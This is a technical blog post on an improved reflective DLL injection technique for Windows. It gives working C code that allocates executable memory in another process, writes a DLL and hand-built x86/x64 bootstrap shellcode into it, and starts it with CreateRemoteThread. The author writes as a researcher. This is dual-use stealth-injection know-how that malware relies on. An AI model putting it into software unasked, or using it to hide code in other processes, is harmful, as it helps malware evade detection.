

An Improved Reflective DLL Injection Technique

Jan 30, 2015

Introduction

I really enjoy reading technical analyses of sophisticated malware attacks. It's kind of a hobby of mine. I recently finished reading *Countdown to Zero Day* by Kim Zetter, which is an absolutely fascinating book describing the joint US/Israeli malware campaign, *Operation Olympic Games*, that aimed to sabotage the Iranian nuclear enrichment facility at Natanz. The *Stuxnet* worm that was a part of this campaign, and its many siblings such as *Duqu* and *Flame*, is by most accounts one of the most sophisticated pieces of malware ever found in the wild. If you haven't read the technical reports on these programs[1], I highly recommend doing so. There isn't a whole lot about the malware itself that is particularly new. Aside from the handful of zero day exploits packaged with the malware and Flame's infamous *MD5 collision attack* to bypass Windows' digital signature verification, the Stuxnet family of malware generally uses known techniques, albeit with a much higher level of complexity and, some might say, over-engineering. Still, the sheer sophistication of these programs, and the fact that they had been in the wild undetected for many years, makes them remarkable and worth studying.

One malware technique I decided to learn about recently is *DLL injection*. While it is a technique also used extensively by legitimate software, malware often employs DLL injection in order to camouflage its operations within the memory space of another process. Basically, DLL injection is a procedure that causes another running process to load and execute any code of your choice. While this may seem outright sinister, it has lots of legitimate uses. For instance, debuggers wouldn't be all that useful without it.

There are *several ways to implement DLL injection*, each with advantages and disadvantages. The technique I'm most interested in is called "*reflective DLL injection*". The process of reflective DLL injection is as follows:

1. Open target process with RWX permissions and allocate memory large enough for the DLL.
2. Copy the DLL into the allocated memory space.
3. Calculate the memory offset within the DLL to the export used for doing reflective loading.
4. Call `CreateRemoteThread` (or an equivalent undocumented API function like `RtlCreateUserThread`) to start execution in the remote process, using the offset address of the reflective loader function as the entry point.
5. The reflective loader function finds the Process Environment Block (PEB) of the target process using the appropriate CPU register, and uses that to find the address in memory of `kernel32.dll` and any other required libraries.
6. Parse the exports directory of kernel32 to find the memory addresses of required API functions such as `LoadLibraryA`, `GetProcAddress`, and `VirtualAlloc`.
7. Use these functions to then properly load the DLL (itself) into memory and call its entry point, `DllMain`.

It's a rather clever process, and you can read the details of it in *Harmony Security's paper* on reflective DLL injection.

The assumption of reflective DLL injection is that calling the entry point of the DLL is sufficient to execute the full functionality of the DLL. However, this is often not the case. In fact, *Microsoft advises* developers to minimize the amount of work done in `DllMain`, and to do "lazy initialization", avoiding loading additional libraries or creating new threads. The main entry point then, would be in another function that would be called separately after the DLL was loaded.

I recently came upon an *article* that aims to provide a more robust dll injection technique, one that attempts to follow the DLL best practices outlined by Microsoft. It does this by dynamically writing some bootstrap shellcode to the target process which loads the DLL (using `LoadLibraryA`) and then finds and calls another exported entry point function (using `GetProcAddress`). While this is a great improvement to traditional DLL injection, it is not reflective.

So I decided that I would merge these techniques in order to provide an improved method for doing reflective DLL injection.

How it's done

The basic process is as follows, summarized for brevity:

1. Open target process and allocate memory.
2. Copy the DLL into the allocated memory.
3. Copy a hash of the entry point function name and any arguments to the function into the memory space after the DLL.
4. Copy over some bootstrap shellcode that calls a modified reflective loader with pointers to the data copied in step 3.
5. Create a remote thread in the target process, using the address of the beginning of the shellcode as the entry point.

The reason we need the bootstrap shellcode is due to the limited amount of data we're able to pass to the reflective loader with Stephen Fewer's original reflective DLL injection technique. `CreateRemoteThread` has the following declaration:

```
HANDLE WINAPI CreateRemoteThread(  
    _In_   HANDLE hProcess,  
    _In_   LPSECURITY_ATTRIBUTES lpThreadAttributes,  
    _In_   SIZE_T dwStackSize,  
    _In_   LPTHREAD_START_ROUTINE lpStartAddress,  
    _In_   LPVOID lpParameter,  
    _In_   DWORD dwCreationFlags,  
    _Out_  LPDWORD lpThreadId  
);
```

The `LPTHREAD_START_ROUTINE lpStartAddress` is the entry point for execution of the created thread. This function is prototyped as:

```
typedef DWORD (__stdcall *LPTHREAD_START_ROUTINE) (  
    [in] LPVOID lpThreadParameter  
);
```

As you can see, this takes only a single `LPVOID` parameter. Since Fewer's reflective DLL injection technique passes the address of the reflective loader to `CreateRemoteThread` as the `lpStartAddress` parameter, it's only able to pass a single void pointer. This is fine, since the reflective loader only calls `DllMain`, which takes a void pointer as its `lpvReserved` parameter.

But if we want our reflective loader to call an additional export after loading the DLL, we'll need to give it more information! We'll do this by passing additional parameters to the reflective loader function using some bootstrap shellcode. The new declaration of our reflective loader function will be:

```
DWORD WINAPI ReflectiveLoader( LPVOID lpParameter, LPVOID lpLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen );
```

Here, `dwFunctionHash` is a hash of the export function name we want to call, and `lpUserData` is a blob of data (of size `nUserdataLen`) that we'll pass to the export function when it's called by the reflective loader.

Now instead of just allocating memory in the remote process for the DLL, we'll also include space for the shellcode (64 bytes is sufficient) and the blob of data:

```

DWORD nBufferSize = dwLength // size of the DLL
    + nUserdataLen
    + 64; // shellcode buffer

// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, nBufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRemoteLibraryBuffer)
    break;
printf("Allocated memory address in remote process: 0x%p\n", lpRemoteLibraryBuffer);

// write the image into the host process...
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL))
    break;

ULONG_PTR uiReflectiveLoaderAddr = (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset;

// write our userdata blob into the host process
ULONG_PTR userdataAddr = (ULONG_PTR)lpRemoteLibraryBuffer + dwLength;
if (!WriteProcessMemory(hProcess, (LPVOID)userdataAddr, lpUserData, nUserdataLen, NULL))
    break;

ULONG_PTR uiShellcodeAddr = userdataAddr + nUserdataLen;

```

The shellcode will have two goals: 1) Call the reflective loader function with our additional parameters, and 2) call `ExitThread()` for proper cleanup and so that we can get the exit code of the thread from our calling process. First we get the memory address of `ExitThread`, which should be the same for every process (since kernel32.dll is loaded by most (all?) processes).

```

HMODULE kernel32 = LoadLibraryA("kernel32.dll");
FARPROC exitthread = GetProcAddress(kernel32, "ExitThread");

```

Next we'll write our bootstrap shellcode to a buffer, which we'll then write to the remote process memory space we allocated. The x86 version of the shellcode is simple, since we just need to push our parameters to the stack in reverse order (per `__stdcall` calling convention) before calling the reflective loader:

```

BYTE bootstrap[64] = { 0 };
DWORD i = 0;
/*
Shellcode pseudo-code:
DWORD r = ReflectiveLoader(lpParameter, lpLibraryAddress, dwFunctionHash, lpUserData, nUserdataLen);
ExitThread(r);
*/

// push <size of userdata>
bootstrap[i++] = 0x68; // PUSH (word/dword)
MoveMemory(bootstrap + i, &nUserdataLen, sizeof(nUserdataLen));
i += sizeof(nUserdataLen);

```

```

// push <address of userdata>
bootstrap[i++] = 0x68; // PUSH (word/dword)
MoveMemory(bootstrap + i, &userdataAddr, sizeof(userdataAddr));
i += sizeof(userdataAddr);

// push <hash of function>
bootstrap[i++] = 0x68; // PUSH (word/dword)
MoveMemory(bootstrap + i, &dwFunctionHash, sizeof(dwFunctionHash));
i += sizeof(dwFunctionHash);

// push <address of image base>
bootstrap[i++] = 0x68; // PUSH (word/dword)
MoveMemory(bootstrap + i, &lpRemoteLibraryBuffer, sizeof(lpRemoteLibraryBuffer));
i += sizeof(lpRemoteLibraryBuffer);

// push <lpParameter>
bootstrap[i++] = 0x68; // PUSH (word/dword)
MoveMemory(bootstrap + i, &lpParameter, sizeof(lpParameter));
i += sizeof(lpParameter);

// mov eax, <address of reflective loader>
bootstrap[i++] = 0xB8; // MOV EAX (word/dword)
MoveMemory(bootstrap + i, &uiReflectiveLoaderAddr, sizeof(uiReflectiveLoaderAddr));
i += sizeof(uiReflectiveLoaderAddr);

// call eax
bootstrap[i++] = 0xFF; // CALL
bootstrap[i++] = 0xD0; // EAX

// Push eax (return code from ReflectiveLoader) (WINAPI/__stdcall)
bootstrap[i++] = 0x50; // PUSH EAX

// mov eax, <value of exitthread>
bootstrap[i++] = 0xB8; // MOV EAX (word/dword)
MoveMemory(bootstrap + i, &exitthread, sizeof(exitthread));
i += sizeof(exitthread);

// call eax
bootstrap[i++] = 0xFF; // CALL
bootstrap[i++] = 0xD0; // EAX

```

The x64 shellcode is more complicated, since the calling convention requires using registers for passing parameters.

Update, June 28, 2016: It was [pointed out by RaMMichael](#) that the x64 shellcode needs to take into account “shadow space” when passing parameters to the reflective loader function. This is because while the x64 calling convention passes the first four parameters to a function in registers, the compiled function will often copy those parameters into stack space

allocated by the caller located right before the return address (even in non-optimized code). If that “shadow space” on the stack was not allocated by the caller, the function may not work as expected. For more information on shadow space in x64, see [Challenges of Debugging Optimized x64 Code](#).

```
// mov rcx, <lpParameter>
bootstrap[i++] = 0x48;
bootstrap[i++] = 0xB9;
MoveMemory(bootstrap + i, &lpParameter, sizeof(lpParameter));
i += sizeof(lpParameter);

// mov rdx, <address of image base>
bootstrap[i++] = 0x48;
bootstrap[i++] = 0xBA;
MoveMemory(bootstrap + i, &lpRemoteLibraryBuffer, sizeof(lpRemoteLibraryBuffer));
i += sizeof(lpRemoteLibraryBuffer);

// mov r8d, <hash of function>
bootstrap[i++] = 0x41;
bootstrap[i++] = 0xB8;
MoveMemory(bootstrap + i, &dwFunctionHash, sizeof(dwFunctionHash));
i += sizeof(dwFunctionHash);

// mov r9, <address of userdata>
bootstrap[i++] = 0x49;
bootstrap[i++] = 0xB9;
MoveMemory(bootstrap + i, &userdataAddr, sizeof(userdataAddr));
i += sizeof(userdataAddr);

// push <size of userdata>
bootstrap[i++] = 0x68; // PUSH (word/dword)
MoveMemory(bootstrap + i, &nUserDataLen, sizeof(nUserDataLen));
i += sizeof(nUserDataLen);

// sub rsp, 0x20 (for "shadow space")
bootstrap[i++] = 0x48;
bootstrap[i++] = 0x83;
bootstrap[i++] = 0xEC;
bootstrap[i++] = 0x20;

// move rax, <address of reflective loader>
bootstrap[i++] = 0x48;
bootstrap[i++] = 0xB8;
MoveMemory(bootstrap + i, &uiReflectiveLoaderAddr, sizeof(uiReflectiveLoaderAddr));
i += sizeof(uiReflectiveLoaderAddr);

// call rax
bootstrap[i++] = 0xFF; // CALL
```

```

bootstrap[i++] = 0xD0; // RAX

// mov rcx, rax (return code from ReflectiveLoader) (__fastcall)
bootstrap[i++] = 0x48;
bootstrap[i++] = 0x89;
bootstrap[i++] = 0xC1;

// mov rax, <value of exitthread>
bootstrap[i++] = 0x48;
bootstrap[i++] = 0xB8;
MoveMemory(bootstrap + i, &exitthread, sizeof(exitthread));
i += sizeof(exitthread);

// call rax
bootstrap[i++] = 0xFF; // CALL
bootstrap[i++] = 0xD0; // RAX

```

Last, we'll write the shellcode to the remote process and create a remote thread that uses the address of the shellcode as the entry point:

```

// finally, write our shellcode into the host process
if (!WriteProcessMemory(hProcess, (LPVOID)uiShellcodeAddr, bootstrap, i, NULL))
    break;

// Make sure our changes are written right away
FlushInstructionCache(hProcess, lpRemoteLibraryBuffer, nBufferSize);

// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)uiShellcodeAddr, lpParameter, (DWORD)NULL, &dwThreadId);

```

The reflective loader function itself hasn't changed much from the original version by Fewer, except for the additional parameters we pass to it and then the section that calls our chosen export in the DLL. After loading the DLL, it calls DllMain (which ideally would be empty), and then calls our export. We do this by comparing the passed hash of the export function name with the hashes of the DLL's exports after it loads, and then calling the export with the blob of data as a parameter:

```

PIMAGE_DATA_DIRECTORY directory = &((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + directory->VirtualAddress);

// search function name in list of exported names
int idx = -1;
DWORD *nameRef = (DWORD *) (uiBaseAddress + exports->AddressOfNames);
WORD *ordinal = (WORD *) (uiBaseAddress + exports->AddressOfNameOrdinals);
for (DWORD i = 0; i < exports->NumberOfNames; i++, nameRef++, ordinal++) {
    if (hash((char *) (uiBaseAddress + (*nameRef))) == dwFunctionHash) {
        idx = *ordinal;
        break;
    }
}

```

```
}

// AddressOfFunctions contains the RVAs to the "real" functions
// typedef BOOL (*EXPORTFUNC) (LPVOID, DWORD);
EXPORTFUNC f = (EXPORTFUNC) (uiBaseAddress + (*(DWORD *) (uiBaseAddress + exports->AddressOfFunctions + (idx * 4))));
f(lpUserData, nUserdataLen);
```



The only downside to this technique is that all the exports you want to call from the reflective loader must have the same prototype. You might be able to get around this by calling the export using x86 shellcode (pushing a variable number of parameters onto the stack before calling the function), but once you get into x64 you can't rely on that due to the way parameters are passed using registers.

You can read the full commented source code on my [Github page](#). It currently only works on x86 and x64 platforms, mainly because I don't know ARM assembly, but if you get it working on ARM please link to the code in the comments!

References

- The original reflective DLL injection paper by Stephen Fewer of Harmony Security: <http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html>
- A More Complete DLL Injection Solution Using CreateRemoteThread: <http://www.codeproject.com/Articles/20084/A-More-Complete-DLL-Injection-Solution-Using-Creat>

Dan Staples
danstaples AT pm.me

 dismantl
 dismantl

Developer | Hacker | Saboteur